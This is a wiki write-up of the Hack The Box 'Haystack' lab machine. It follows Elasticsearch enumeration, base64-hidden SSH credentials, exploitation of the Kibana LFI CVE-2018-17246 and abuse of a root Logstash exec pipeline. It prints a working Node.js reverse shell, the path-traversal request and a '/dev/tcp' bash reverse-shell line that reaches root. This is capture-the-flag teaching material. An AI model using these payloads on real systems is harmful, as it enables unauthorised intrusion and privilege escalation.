Haystack

From Luniwiki
Jump to: navigation, search

Back

Haystack.png

This was my first HTB challenge, and funny coincidence, at work I was in a project involving the same product used on this machine.

Ports enumeration

root@kali:~/HTB/Haystack# nmap -sC -sV 10.10.10.115 -o nmap.txt
# Nmap 7.80 scan initiated Fri Nov  1 05:19:07 2019 as: nmap -sC -sV -o nmap.txt 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.051s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods:
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 1 05:19:27 2019 -- 1 IP address (1 host up) scanned in 19.91 seconds

Web Server (port 80)

Haystack02.png

root@kali:~/HTB/Machines/Haystack# curl haystack > port80.html
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100    55  100    55    0     0   1486      0 --:--:-- --:--:-- --:--:--  1486
root@kali:~/HTB/Machines/Haystack# cat port80.html
<html>
<body>
<img src="needle.jpg" />
</body>
</html>

The web page does not seem to give us too much information.

root@kali:~/HTB/Machines/Haystack# curl http://haystack/needle.jpg --output needle.jpg
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100  178k  100  178k    0     0  1786k      0 --:--:-- --:--:-- --:--:-- 1804k

We try to see if there is hidden information inside the image.

root@kali:~/HTB/Machines/Haystack# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
       #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sc,x
O9 x?
Lg9$
...
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

The last line seems to be base 64.

root@kali:~/HTB/Machines/Haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"

I guess this hint should be useful.
Dirb does not give us usefull information.

root@kali:~/HTB/Haystack# dirb http://10.10.10.115
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov  1 05:59:30 2019
URL_BASE: http://10.10.10.115/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------

GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.115/ ---- + http://10.10.10.115/index.html (CODE:200|SIZE:55)
----------------- END_TIME: Fri Nov 1 06:03:44 2019 DOWNLOADED: 4612 - FOUND: 1

Elasticsearch Port 9200

Haystack03.png

The port 9200 respond with a Json application Elasticsearch version 6.4.2

root@kali:~/HTB/Machines/Haystack# curl haystack:9200
{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}

We list indices:

root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_cat/indices?v"
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb

Indices structure

Quotes index structure:

root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/quotes?pretty"
{
 "quotes" : {
   "aliases" : { },
   "mappings" : {
     "quote" : {
       "properties" : {
         "quote" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         }
       }
     }
   },
   "settings" : {
     "index" : {
       "creation_date" : "1549498467211",
       "number_of_shards" : "5",
       "number_of_replicas" : "1",
       "uuid" : "ZG2D1IqkQNiNZmi2HRImnQ",
       "version" : {
         "created" : "6040299"
       },
       "provided_name" : "quotes"
     }
   }
 }
}

Bank index structure:

root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/bank?pretty"
{
 "bank" : {
   "aliases" : { },
   "mappings" : {
     "account" : {
       "properties" : {
         "account_number" : {
           "type" : "long"
         },
         "address" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "age" : {
           "type" : "long"
         },
         "balance" : {
           "type" : "long"
         },
         "city" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "email" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "employer" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "firstname" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "gender" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "lastname" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         },
         "state" : {
           "type" : "text",
           "fields" : {
             "keyword" : {
               "type" : "keyword",
               "ignore_above" : 256
             }
           }
         }
       }
     }
   },
   "settings" : {
     "index" : {
       "creation_date" : "1549498442094",
       "number_of_shards" : "5",
       "number_of_replicas" : "1",
       "uuid" : "eSVpNfCfREyYoVigNWcrMw",
       "version" : {
         "created" : "6040299"
       },
       "provided_name" : "bank"
     }
   }
 }
}

Databases download

We create a script to download the 253 quotes.

root@kali:~/HTB/Machines/Haystack# cat downloadquotes.sh
#!/bin/bash

i=1 while [ $i -lt 254 ] do echo $i curl -X GET "haystack:9200/quotes/quote/$i?pretty" >> quotes.txt i=`expr $i + 1 ` done

And a second to download the 1000 accounts.

root@kali:~/HTB/Machines/Haystack# cat downloadbank.sh
#!/bin/bash

i=1 while [ $i -lt 1001 ] do echo $i curl -X GET "haystack:9200/bank/account/$i?pretty" >> bank.txt i=`expr $i + 1 ` done

Find the needle in the haystack

After a long reading of bank.txt and quotes.txt, I found the following text:

{
 "_index" : "quotes",
 "_type" : "quote",
 "_id" : "45",
 "_version" : 1,
 "found" : true,
 "_source" : {
   "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
 }
}

And a second "quote"

{
 "_index" : "quotes",
 "_type" : "quote",
 "_id" : "111",
 "_version" : 1,
 "found" : true,
 "_source" : {
   "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
 }
}

A better way to find the "needle" rather than read the full database is to use the "hint" on the image, and run a search with the keyword "clave".

root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_search?pretty" -H 'Content-Type: application/json' -d'
{
   "query": {
       "match" : {
           "quote" : {
               "query" : "clave"
           }
       }
   }
}
 ' 
{
 "took" : 50,
 "timed_out" : false,
 "_shards" : {
   "total" : 11,
   "successful" : 11,
   "skipped" : 0,
   "failed" : 0
 },
 "hits" : {
   "total" : 2,
   "max_score" : 5.9335938,
   "hits" : [
     {
       "_index" : "quotes",
       "_type" : "quote",
       "_id" : "45",
       "_score" : 5.9335938,
       "_source" : {
         "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
       }
     },
     {
       "_index" : "quotes",
       "_type" : "quote",
       "_id" : "111",
       "_score" : 5.3459888,
       "_source" : {
         "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
       }
     }
   ]
 }
}

We take a look at the base 64 text

root@kali:~/HTB/Haystack# echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key
root@kali:~/HTB/Haystack# echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security

User Flag

root@kali:~/HTB/Machines/Haystack# ssh security@haystack
The authenticity of host 'haystack (10.10.10.115)' can't be established.
ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haystack,10.10.10.115' (ECDSA) to the list of known hosts.
security@haystack's password:
Last login: Wed Feb  6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$ cat user.txt
<USER_FLAG>

Lateral movement

If we take a look at running processes:

  • elasticsearch user
[security@haystack ~]$ ps -ef | grep elastic
elastic+   7251      1  0 09:57 ?        00:04:32 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch.gQHh9XGA -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -Xloggc:/var/log/elasticsearch/gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=32 -XX:GCLogFileSize=64m -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=rpm -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet
elastic+  15676   7251  0 09:58 ?        00:00:00 /usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86_64/bin/controller
  • kibana user
[security@haystack ~]$ ps -ef | grep kibana
kibana     6411      1  0 09:57 ?        00:01:50 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml
  • logstash
[security@haystack ~]$ ps -ef | grep logstash
root       6417      1  0 09:57 ?        00:04:25 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash

Logstash is running with user root. But after some search we find a Kibana vulnerability.

Kibana LFI

CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13

Kibana version is 6.4.2, so this version should be vulnerable at the LFI.

[security@haystack ~]$ cat /usr/share/kibana/package.json
{
 "name": "kibana",
 "description": "Kibana is an open source (Apache Licensed), browser based analytics and search dashboard for Elasticsearch. Kibana is a snap to setup and start using. Kibana strives to be easy to get started with, while also being flexible and powerful, just like Elasticsearch.",
 "keywords": [
   "kibana",
   "elasticsearch",
   "logstash",
   "analytics",
   "visualizations",
   "dashboards",
   "dashboarding"
 ],
 "version": "6.4.2",
 "branch": "6.4",
 "build": {
   "number": 18010,
   "sha": "33b5de37d73763319101b4ed11a6bd44f6ea03b5",
   "distributable": true
 },
 "repository": {
   "type": "git",
   "url": "https://github.com/elastic/kibana.git"
 },
 "engines": {
   "node": "8.11.4"
 }
}

Looking at Kibana configuration, we find the listening port on localhost.

[security@haystack ~]$ cat /etc/kibana/kibana.yml | grep -v "#" | grep -v "^$"
server.port: 5601
server.host: "127.0.0.1"
elasticsearch.url: "http://localhost:9200"

Another way to find listening ports is using the ss command (because netstat isn't available).

[security@haystack ~]$ ss -4ln
Netid State      Recv-Q Send-Q Local Address:Port               Peer Address:Port          
udp   UNCONN     0      0       127.0.0.1:323                         *:*
tcp   LISTEN     0      128             *:80                          *:*
tcp   LISTEN     0      128             *:9200                        *:*
tcp   LISTEN     0      128             *:22                          *:*
tcp   LISTEN     0      128     127.0.0.1:5601                        *:*

Javascript reverse shell

[security@haystack ~]$ cd /tmp/
[security@haystack tmp]$ vi shell.js
[security@haystack tmp]$ cat shell.js
(function(){
   var net = require("net"),
       cp = require("child_process"),
       sh = cp.spawn("/bin/sh", []);
   var client = new net.Socket();
   client.connect(1337, "10.10.14.34", function(){
       client.pipe(sh.stdin);
       sh.stdout.pipe(client);
       sh.stderr.pipe(client);
   });
   return /a/; // Prevents the Node.js application form crashing
})();

Run listening netcat

root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

Run LFI

[security@haystack tmp]$ curl -X GET "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"

The reverse shell is opened :)

root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.115.
Ncat: Connection from 10.10.10.115:49098.
whoami
kibana
python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$ <CTRL Z>
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/HTB/Machines/Haystack# stty rows 24 columns 80
root@kali:~/HTB/Machines/Haystack# stty raw -echo
root@kali:~/HTB/Machines/Haystack# fg nc -lvnp 1337
                                                          export TERM=screen
bash-4.2$

User escalation

From user Kibana, we need to escalate to user root using logstash.

Logstash configuration files

bash-4.2$ cd /etc/logstash/
bash-4.2$ cat pipelines.yml | grep -v "#" | grep -v "^$"
- pipeline.id: main
 path.config: "/etc/logstash/conf.d/*.conf"
bash-4.2$ cd conf.d/
bash-4.2$ cat input.conf
input {
       file {
               path => "/opt/kibana/logstash_*"
               start_position => "beginning"
               sincedb_path => "/dev/null"
               stat_interval => "10 second"
               type => "execute"
               mode => "read"
       }
}
bash-4.2$ cat filter.conf
filter {
       if [type] == "execute" {
               grok {
                       match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
               }
       }
}
bash-4.2$ cat output.conf
output {
       if [type] == "execute" {
               stdout { codec => json }
               exec {
                       command => "%{comando} &"
               }
       }
}

Kibana debugger

We create a ssh tunnel to access Kibana console:

root@kali:~# ssh -L 5601:127.0.0.1:5601 security@haystack
security@haystack's password: 
Last login: Sun Nov 10 18:17:27 2019 from 10.10.14.34
[security@haystack ~]$

Haystack04.png

With help of Kibana's debugger, we see that the input file needs to be:

Ejecutar commando: bash -i >& /dev/tcp/10.10.14.34/8888 0>&1

Run listening netcat

root@kali:~/HTB/Machines/Haystack# nc -lvnp 8888
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

Create file

bash-4.2$ echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1" > /opt/kibana/logstash_rs
bash-4.2$ cat /opt/kibana/logstash_rs
Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1

After a few second (even if it seems minutes), the reverse shell is opened :)

root@kali:~# nc -lvnp 8888
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.10.115.
Ncat: Connection from 10.10.10.115:39686.
bash: no hay control de trabajos en este shell
[root@haystack /]# whoami
whoami
root

Root flag

[root@haystack /]# cat /root/root.txt
<ROOT FLAG>

References

Daniel Simao 07:39, 10 November 2019 (EST)